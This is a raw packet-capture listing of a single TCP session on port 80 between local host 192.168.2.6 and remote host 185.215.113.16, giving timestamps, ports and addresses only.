Oct 24, 2024 09:08:15.398951054 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.398973942 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.398981094 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.399012089 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.399022102 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.399044991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.399061918 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.399091005 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.399092913 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.399126053 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.399137974 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.399163008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.399179935 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.399213076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.437736988 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.437865973 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.437925100 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.437947035 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.437961102 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.437998056 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.437999964 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.437998056 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.438030005 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.438040972 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.438054085 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.438097000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.438132048 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.438169956 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.438205957 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.438205957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.438205957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.438205957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.438250065 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.438276052 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.438276052 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.438286066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.438298941 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.438323975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.438359976 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.438359976 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.438399076 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.438404083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.438421965 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.438441992 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.438458920 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.438478947 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.438487053 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.438513994 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.438524008 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.438549042 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.438555002 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.438590050 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.438597918 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.438644886 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.462095022 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.462241888 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.462253094 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.462282896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.462317944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.462337017 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.462337971 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.462357044 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.462364912 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.462394953 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.462414980 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.462434053 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.462445974 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.462472916 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.462486982 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.462526083 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.482724905 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.482816935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.482819080 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.482858896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.482876062 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.482896090 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.482909918 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.482948065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.482954025 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.482985973 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483016014 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483021021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483043909 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483057976 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483083010 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483108044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483112097 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483150959 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483174086 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483186007 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483201027 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483222961 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483237982 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483258009 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483277082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483294010 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483306885 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483354092 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483367920 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483406067 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483428001 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483439922 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483458996 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483479023 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483505964 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483515978 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483535051 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483552933 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483577967 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483587980 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483617067 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483627081 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483663082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483663082 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483694077 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483704090 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483731031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483741045 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483760118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483778000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483808041 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483814001 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483827114 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483850002 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483865976 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483886003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483902931 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483922005 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.483939886 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.483972073 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.516372919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.516429901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.516498089 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.516504049 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.516541958 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.516544104 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.516562939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.516581059 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.516599894 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.516629934 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.516630888 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.516683102 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.516688108 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.516727924 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.516745090 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.516758919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.516777992 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.516798019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.516807079 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.516850948 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.516855001 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.516891956 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.516912937 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.516927004 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.516948938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.516949892 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.516967058 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.516977072 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.516984940 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.516995907 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517014027 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517015934 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517029047 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517036915 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517046928 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517054081 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517067909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517072916 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517085075 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517102003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517112017 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517118931 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517138004 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517153025 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517153978 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517173052 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517174006 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517204046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517205000 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517222881 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517240047 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517241001 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517256975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517273903 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517273903 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517291069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517307997 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517308950 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517328024 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517328978 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517353058 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517364979 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517371893 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517389059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517390013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517410040 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517425060 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517431974 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517441988 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517460108 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517466068 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517496109 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517513037 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517518044 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517535925 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517551899 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517569065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517570972 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517589092 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517592907 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517605066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517611980 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517637968 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517672062 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517688990 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517708063 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517723083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517740011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517740011 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517757893 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.517759085 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517784119 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.517815113 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.556543112 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.556591034 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.556627035 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.556674957 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.556710958 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.556751013 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.556751966 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.556763887 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.556801081 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.556838036 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.556854010 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.556854010 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.556854010 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.556875944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.556894064 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.556910038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.556930065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.556946039 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.556955099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.556981087 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.557003021 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.557015896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.557028055 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.557051897 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.557061911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.557089090 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.557105064 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.557126045 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.557137012 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.557163000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.557176113 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.557202101 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.557208061 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.557236910 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.557245016 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.557269096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.557286024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.557302952 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.557315111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.557337999 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.557348013 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.557373047 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.557384014 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.557410002 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.557420969 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.557455063 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.579638004 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.579693079 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.579731941 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.579767942 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.579765081 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.579828978 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.579862118 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.579880953 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.579895020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.579919100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.579931021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.579960108 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.579969883 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.579994917 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.580005884 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.580022097 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.580044985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.580058098 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.580101967 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.601350069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.601453066 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.601481915 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.601499081 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.601516008 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.601532936 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.601546049 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.601557016 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.601572990 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.601613045 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.601638079 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.601653099 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.601677895 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.601682901 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.601696014 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.601702929 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.601715088 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.601725101 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.601764917 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.601779938 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.601794958 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.601813078 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.601819992 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.601871014 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.601975918 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.601994991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.602013111 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.602029085 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.602030993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.602050066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.602113008 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.602113962 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.602113962 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.602123022 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.602142096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.602158070 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.602175951 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.602179050 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.602193117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.602204084 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.602211952 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.602227926 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.602238894 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.602243900 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.602262974 CEST	49997	80	192.168.2.6	185.215.113.16
